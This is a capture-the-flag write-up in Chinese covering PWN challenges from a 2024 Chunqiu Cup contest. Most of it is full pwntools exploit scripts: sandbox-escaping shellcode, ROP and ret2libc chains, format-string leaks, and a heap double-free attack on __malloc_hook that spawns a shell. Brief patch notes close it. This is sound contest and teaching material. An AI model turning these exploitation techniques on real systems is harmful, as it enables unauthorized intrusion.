2024春秋杯网络安全联赛夏季赛(CTF+AWDP) - PWN

# 2024 春秋杯网络安全联赛夏季赛 (CTF+AWDP) - PWN

# ???

一件关于我比赛期间玩小南梁 & 老司机开车游戏(Rotaeno)导致比赛被杀然后赛后救赎(复盘)发现可以 AK 掉 CTF-PWN 和 AWDP-Break-PWN 的痛心事... ...
😦 QAQ 😦

距 CISCN2024 全国决赛还有 13 天... 已经开始面壁了... ...

# 正文

# CTF

# Shuffled_Execution

程序会把送进去的 shellcode 进行一个加密,就是开个随机交换两个 idx 下的内容,但是只要前面加上 \x00 截断就行了,就只会交换截断前的内容
沙箱用 openat 打开文件,mmap 读入,writev 输出就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
import ctypes
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
def swap_bytes(byte_string, index1, index2):
byte_list = list(byte_string)
byte_list[index1], byte_list[index2] = byte_list[index2], byte_list[index1]
return bytes(byte_list)
pwn = './pwn'
p=remote('39.106.48.123',44827)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
buf=0x1337000
flag=0x1145000
shellcode='''
mov rax,0
mov rsp,0x1337f00
mov rax,0x67616c66
push rax
mov rdi,0x0FFFFFF9C
mov rsi,rsp
mov rdx,0
mov rax,257
syscall

'''
shellcode+=shellcraft.mmap(0x1437000, 0x1000, 7, 2, 'rax', 0)
shellcode+=shellcraft.writev(1,buf+0x100,2)
print(shellcode)
payload=asm(shellcode).ljust(0x100,b'a')+p64(0x1437000)+p64(0x100)+p64(0x1437000)+p64(0x110)
print(payload)
libc = ctypes.CDLL("libc.so.6")
libc.srand(0x1337)
arr=[]
for i in range(0x3):
arr.append(libc.rand()%0x3)
for i in range(0x3-1,-1,-1):
# print("before e",payload[i],payload[arr[i]])
# print(i,arr[i])
payload=swap_bytes(payload,arr[i],i)
# print("after ",payload[i],payload[arr[i]])
print(payload)
print(arr)
p.send(payload)
p.interactive()

# stdout

程序设置 stdout 的缓冲为全缓冲,我们直接造 ROP 链子,调用 setvbuf (stdout, 0LL, 2, 0LL); 就行了。
主要的困难是在控制 rdi,rdx 和 rcx 上面。
控制 rdi 我们只要提前在 bss 上面 stdout 前面布置一个 pop rdi;ret; 就行了,stdout 后面布置 rop 链子就能接着执行了。
之后控制 rdx,我们利用 csu 设置 rdx 然后调用 ret 的地址就行了,就能继续调用 ROP 链子了。
rcx 我没记错的话控制他只要再调用 init 函数里面的 setvbuf (stdin,0,2,0); 就行了。
之后就正常 ret2libc 就拿到 shell 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
p=remote('8.147.132.12',35341)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)
setrcx=0x40123C
elf=ELF(pwn)
#libc=ELF('./libc.so.6')
stk=0x404090+0x200
vuln=0x40125D
payload=b'a'*0x50+p64(stk)+p64(vuln)
p.send(payload)
setbuf1=0x40123C
ret=0x0401286
csu1=0x4013CA
csu2=0x4013B0
pop_rsi2=0x4013d1
pop_rbp=0x4011fd
pop_rdi=0x04013d3
pop_rsp_3=0x4013cd
lr=0x40136D
read_a=0x4010d0
payload=b'a'*0x20+p64(0x404060)+p64(pop_rdi)+p64(0)+p64(pop_rsi2)+p64(0x404060-8)+p64(0)+p64(read_a)+p64(pop_rdi)+p64(0)+p64(pop_rsi2)+p64(0x404078)+p64(0)+p64(read_a)
payload+=p64(csu1)+p64(0)+p64(1)+p64(2)+p64(2)+p64(2)+p64(0x404098)+p64(csu2)+p64(0x404060)*7 +p64(lr)
# pause()
setvbuf=0x401100
p.send(payload)
pause()
p.send(p64(csu1)+p64(0)+p64(pop_rdi))
pause()
payload=p64(pop_rsi2)+p64(0)+p64(0)+p64(ret)*30+p64(setvbuf)+p64(ret)+p64(pop_rdi)+p64(0x404018)+p64(pop_rbp)+p64(stk)+p64(elf.sym['puts'])+p64(vuln)
p.send(payload)
p.recvuntil("stdout???\n")
libc_base=u64(p.recv(6)+b'\x00\x00')-0x000071e6cc5d2420+0x71e6cc54e000
print(hex(libc_base))
pause()
sh=libc_base+0x01b45bd
syst=libc_base+0x52290
pop_rdx=libc_base+0x142c92
execv=libc_base+0xe3170
payload=b'a'*0x20+p64(stk)+p64(pop_rdi)+p64(sh)+p64(pop_rsi2)+p64(0)*2+p64(pop_rdx)+p64(0)+p64(execv)
p.send(payload)
p.interactive()

(好像做的麻烦了,我看别人的 exp 比我短)

# SavethePrincess

使用格式化字符串漏洞之前需要获得密码,我们可以逐位爆破,然后由于没有字符串截断我们可以输出每次爆破的循环变量 i,然后就能知道当前的字母是不是正确的。
之后就正常打 ret2libc+ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
#p=remote(' ',)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process('./pwn')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
def modify_byte(b: bytes, i: int, new_value: int) -> bytes:
# 将字节串转换为列表
byte_list = list(b)

# 修改第i个字符
byte_list[i] = new_value

# 将列表转换回字节串
modified_bytes = bytes(byte_list)

return modified_bytes
p.sendlineafter("get magic","1")
p.sendafter("please input your password:","q"*3)
p.recvuntil("qqq")
elf_base=u64(p.recv(6)+b'\x00\x00')-0x5e892c339d38+0x5e892c336000
print(hex(elf_base))
arr=b'abcdefghijklmnopqrstuvwxyz'
pwd=b'aaaaaaaaaa'

def ints_to_bytes(int_list):
char_list = [chr(i) for i in int_list]
char_str = ''.join(char_list)
byte_str = char_str.encode('utf-8')
return byte_str
checkchr=10
find=0
for i in range(8):
for c in arr:
# pwd[i]=c
pwd=modify_byte(pwd, i, c)
p.sendlineafter("get magic","1")

p.sendafter("please input your password",pwd)
try:
p.recvuntil(b'password is ',timeout=0.5)
except:
# p.sendlineafter("Embrace the power!!!","aaaa%s%x%10x")
find=1
break
s=p.recv(15)
print(s)
# print(pwd)
print(s[10],checkchr)
if(s[10]!=checkchr):
checkchr=s[10]
if(i==7):
find=1
break


if find==1:
# print(pwd)
# print(pwd)
# print(pwd)
# p.sendlineafter("Embrace the power!!!","aaaa%s%x%10x")

break
# p.send("%p")
# p.send
# p.sendlineafter("get magic","1")
# p.sendlineafter("please input your password",pwd)

# 10 rbp
p.sendlineafter("Embrace the power!!!","%15$p%10$p%9$p")
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-0x77146aa29d90+0x77146aa00000
pop_rdi=libc_base+0x2a3e5
pop_rsi=libc_base+0x2be51
pop_rdx_r12=libc_base+0x11f2e7
mpro=libc_base +0x11EAA0
p.recvuntil("0x")
code=int(p.recv(12),16)-0xb0+0x50
p.recvuntil("0x")
canary=int(p.recv(16),16)
p.sendlineafter("get magic","2")

shellcode='''
mov rax,0x67616c66
push rax
mov rdi,0x0FFFFFF9C
mov rsi,rsp
mov rdx,0
mov rax,257
syscall
'''
shellcode+=shellcraft.mmap(0x1437000, 0x1000, 7, 2, 'rax', 0)
shellcode+=shellcraft.writev(1,code+0x100,2)
print(shellcode)
payload=b'a'.ljust(0x38,b'a')
print(len(asm(shellcode)))

payload+=p64(canary)+p64(0x0)+p64(pop_rdi)+p64(code&0xfffffffffffff000)+p64(pop_rsi)+p64(0x2000)+p64(pop_rdx_r12)+p64(7)*2+p64(mpro)+p64(code+0x120)
payload=payload.ljust(0x100,b'a')+p64(0x1437000)+p64(0x100)+p64(0x1437000)+p64(0x110)+asm(shellcode)
gdb.attach(p)
p.sendline(payload)
p.interactive()

# AWDP

# Break

# spiiill

写了个一个类似 VM 的东西。。。
有个函数表能够根据写入的代码执行对应的函数。
其中有个后门函数,但是刚开始的那个解析函数的函数有检查,调用不到。
于是直接调用 10 号的函数(应该是 call 指令),来 call 那个后门函数。
然后就是 system 找参数的时候需要通过偏移来找,由于没加 unsigned 而且是 qword,就直接送一个负的偏移定位到代码中我们输入的 /bin/sh 字符串就行了。

亏我还一点点逆的 VM(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
#p=remote(' ',)'
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process('./pwn')
gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 0-0x800 stack sp:s+0x800
# 0x808-0x808+0x400 code pc:s+0x2808
payload=p64(10)+p64(10)+p64(12)+p64(0xfffffffffffffc03)+b'/bin/sh\x00'
p.sendlineafter("Give me your choice: ","2")
p.sendline(payload)
p.sendlineafter("Give me your choice: ","3")

p.interactive()

# simpleSys

写了个登录的玩意
root 的密码是换表的 base64,直接解密得到密码:this is password

但是其实没有什么用,因为他比较的是加密的字符串,我们输入的内容经过加密,长度变长,正好使得最后的 \x00 落在 data 段存储的加密的密码的第一个字节上面,strlen 之后返回值为 0,所以我们就直接不需要知道密码就能登陆。


之后正常格式化字符串漏洞 + ret2libc 就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
#p=remote(' ',)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process('./pwn')

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')

def signup():
p.sendlineafter("nter your choice:","1")
def login():
p.sendlineafter("nter your choice:","2")
def bio(con):
p.sendlineafter("nter your choice:","3")
p.sendlineafter("input length:","-1")
pause()
p.sendline(con)
pause()
p.sendlineafter("confirm","y")

def logout():
p.sendlineafter("nter your choice:","4")
login()
p.sendlineafter("username:","root")
# gdb.attach(p)
p.sendlineafter("password:",b'a'*0x24)
# gdb.attach(p)
bio(b'a'*0x38)
p.recvuntil(b'a'*0x38)
libc_base=u64(p.recv(6)+b'\x00\x00')-0x71e654a46664+0x71e654a00000
syst=libc_base+0x58740
pop_rdi=libc_base+0x010f75b
sh=libc_base+0x1cb42f
ret=libc_base+0x5876C
payload=b'a'*0x68+p64(pop_rdi)+p64(sh)+p64(ret)+p64(syst)
bio(payload)

p.interactive()

# encoder

2.31 的堆,代码量算是挺大的。
先填满 tcache
之后构造 payload,payload 就是一个经过 encode 的空字符串,长度为 0,我们写入一个 0x70 大小的 chunk,经过 decode 之后就能得到 size 为 0 的 file,同时 buf 被 free 了但是没有把指针清掉。

之后由于他 update 的时候检测大小是否大于 0x20000 的时候比较的是带符号的变量,我们直接写入 - 1,然后就能把 size 改成 0xffffffff 而且之后也不会进行读入,指针还在。

之后我们再 release 一个别的 0x70 的 chunk,再 release 这个 chunk,就得到了 fastbin 中的 double free,之后先申请一个出来,通过 decode 申请巨大堆块,使 fastbin 进入 ubsorted bin,就可以利用另一个堆块的 download 获取 libc 机制,之后,fastbin attack 打 malloc 钩子就行了。

但是,这个题目的比较恶心的就是这个 libc 的 one_gadget 非常烦人,没有栈帧的参数

不能用的 one_gadget 连用 realloc 调整栈帧的办法都没有用。

这里我用的是第二个 one_gadget,因为 r15 本来就是空的,只要控制 rdx 就行了。
但是刚开始的时候发现 rdx 的数值是 0x200,于是找办法控制一下。

经过调试以及静态分析可以看到 rdx 是之前寻址的残留,于是我们让调用 malloc 的时候控制 fileidx 为 0 就行了。

只能打本地版本(偷懒了,用 EOF 泄露的 libc):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
import tty
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
#p=remote(' ',)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process('./pwn',stdin=PTY,raw=False)

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 1. upload
# 2. download
# 3. encode
# 4. decode
# 5. release
# >>
def upload(idx,size,con):
p.sendlineafter("5. release","1")
# p.clean()
p.sendlineafter("FileIdx:",str(idx))
# p.clean()
p.sendlineafter("FileSize:",str(size))
# p.clean()
# p.recvuntil("checker: 0x")
# n=int(p.recv(3),16)
p.sendlineafter("FileData:",con)
# p.clean()
# return n
def download(idx):
p.sendlineafter("5. release","2")
p.sendlineafter("FileIdx:",str(idx))
def encode(idx):
p.sendlineafter("5. release","3")
p.sendlineafter("FileIdx:",str(idx))

def decode(idx):
p.sendlineafter("5. release","4")
p.sendlineafter("FileIdx:",str(idx))

def release(idx):
p.sendlineafter("5. release","5")
# p.clean()
p.sendlineafter("FileIdx:",str(idx))
# p.clean()
chunk1=upload(0,0x500,b'a'*0x500)
chunk2=upload(1,0x100,b'a'*0x100)
chunk3=upload(2,0x500,b'a'*0x500)
chunk4=upload(3,0x100,b'a'*0x100)
release(0)
release(2)
# gdb.attach(p,"b *$rebase(0x16ee)")
chunk0=upload(0,0x500,chr(tty.CEOF))
# p.clean()
download(0)


p.recvuntil("ata: ")
libc_base=u64(p.recv(8))-0x0000778275f9abe0+0x778275dae000
heap_base=u64(p.recv(8))-0x00005a21c9e258b0+0x5a21c9e25000
malloc_hook=libc_base+0x1ECB70
print(hex(libc_base))
print(hex(heap_base))
payload=p64(0x020a454c52)+p64(0x00616100)+p64(0)
chunk5=upload(2,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(4,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(5,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(6,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(7,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(8,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(9,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(10,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(11,0x60,payload.ljust(0x60,b'a'))

# decode(3)

release(4)
release(5)
release(6)
release(7)
release(8)
release(9)
release(10)

decode(2)
# gdb.attach(p,"b malloc")
upload(2,0xffffffff,b'a')
release(11)
release(2)

chunk5=upload(2,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(4,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(5,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(6,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(7,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(8,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(9,0x60,payload.ljust(0x60,b'a'))

upload(12,0x60,p64(malloc_hook-0x23).ljust(0x60))
upload(13,0x60,p64(malloc_hook-0x23).ljust(0x60))
upload(14,0x60,payload.ljust(0x60))
ogg=libc_base+0xe3b01

payload=b'aaa'+p64(ogg)*5
upload(15,0x60,payload.ljust(0x60))
print(hex(malloc_hook-0x23))

release(0)
p.sendlineafter("5. release","1")
p.sendlineafter("FileIdx:","0")
p.sendlineafter("FileSize:",str(0x60))
# encode(2)
# p.sendline("4")
# download(2)

# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp

# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp

# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL || rsi is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp


# gdb.attach(p,"b *$rebase(0x1ACB)")
p.interactive()

远程脚本在本地脚本的基础上改的,有点乱而且有点长,懒得简化了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
import tty
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
# p=remote(' ',)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process('./pwn')

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 1. upload
# 2. download
# 3. encode
# 4. decode
# 5. release
# >>
def upload(idx,size,con):
p.sendlineafter("5. release","1")
# p.clean()
p.sendlineafter("FileIdx:",str(idx))
# p.clean()
p.sendlineafter("FileSize:",str(size))
# p.clean()
# p.recvuntil("checker: 0x")
# n=int(p.recv(3),16)
p.sendlineafter("FileData:",con)
# p.clean()
# return n
def download(idx):
p.sendlineafter("5. release","2")
p.sendlineafter("FileIdx:",str(idx))
def encode(idx):
p.sendlineafter("5. release","3")
p.sendlineafter("FileIdx:",str(idx))

def decode(idx):
p.sendlineafter("5. release","4")
p.sendlineafter("FileIdx:",str(idx))

def release(idx):
p.sendlineafter("5. release","5")
# p.clean()
p.sendlineafter("FileIdx:",str(idx))
# p.clean()

def genpay(con):
res=0
for i in con:
res+=i
res+=1
ret=p32(0x0a454c52)+p32(len(con*2))
for i in con:
ret+=p8(1)
ret+=p8(i)
return ret+p32(res)
# payload=p64(0x010a454c52)+p64(0x63626100)+p64(0x6161)

payload=p32(0x0a454c52)+p32(0)+p32(0x0100)+b'\x00\x90\x00\x6f'
for i in range(11):
upload(i,0x48,payload.ljust(0x48))
release(4)
release(5)
release(6)
release(7)
release(8)
release(9)
release(10)

decode(2)
# gdb.attach(p,"b *$rebase(0x1ACB)")

upload(2,0xffffffff,b'a')
release(0)
release(2)
payload=p32(0x0a454c52)+p32(1)+p32(0x0100)+b'\x40\x90\x01\x51\x07\x00'
for i in range(4,11):
upload(i,0x48,payload.ljust(0x48))

upload(11,0x48,b'\x00'*0x38+b'x'*0x10)
upload(12,0x48,b'\x00'*0x38+b'x'*0x10)
upload(13,0x48,b'\x00'*0x38+b'x'*0x10)
#

upload(12,0x48,genpay(b'a'*0x10).ljust(0x48))
release(4)
release(5)
release(6)
release(7)
release(8)
release(9)
# release(10)
release(11)

decode(12)
download(13)
p.recvuntil("FileData: ")
libc_base=u64(p.recv(8))-0x76d6cbd5bc20+0x76d6cbb6f000
print(hex(libc_base))
malloc_hook=libc_base+0x1ECB70
ogg=libc_base+0xe3b01
release(0)
release(1)

release(12)

payload=p64(0x020a454c52)+p64(0x00616100)+p64(0)
chunk5=upload(2,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(4,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(5,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(6,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(7,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(8,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(9,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(10,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(11,0x60,payload.ljust(0x60,b'a'))

release(4)
release(5)
release(6)
release(7)
release(8)
release(9)
release(10)

decode(2)

upload(2,0xffffffff,b'a')
release(11)
release(2)

chunk5=upload(2,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(4,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(5,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(6,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(7,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(8,0x60,payload.ljust(0x60,b'a'))
chunk5=upload(9,0x60,payload.ljust(0x60,b'a'))


upload(12,0x60,p64(malloc_hook-0x23).ljust(0x60))
upload(13,0x60,p64(malloc_hook-0x23).ljust(0x60))
upload(14,0x60,payload.ljust(0x60))


payload=b'aaa'+p64(ogg)*5
upload(15,0x60,payload.ljust(0x60))
print(hex(malloc_hook-0x23))

release(0)
p.sendlineafter("5. release","1")
p.sendlineafter("FileIdx:","0")

#
p.sendlineafter("FileSize:",str(0x60))

p.interactive()

# Fix

# simpleSys

直接修改一下那个负数的洞就过了

# spiiill & encoder

这两题好像赛后提交不了了(

spiiill 直接删后门我觉得应该就行了(
encoder 我感觉改个 0xffffffff 的就能过了,改成 unsigned 变量(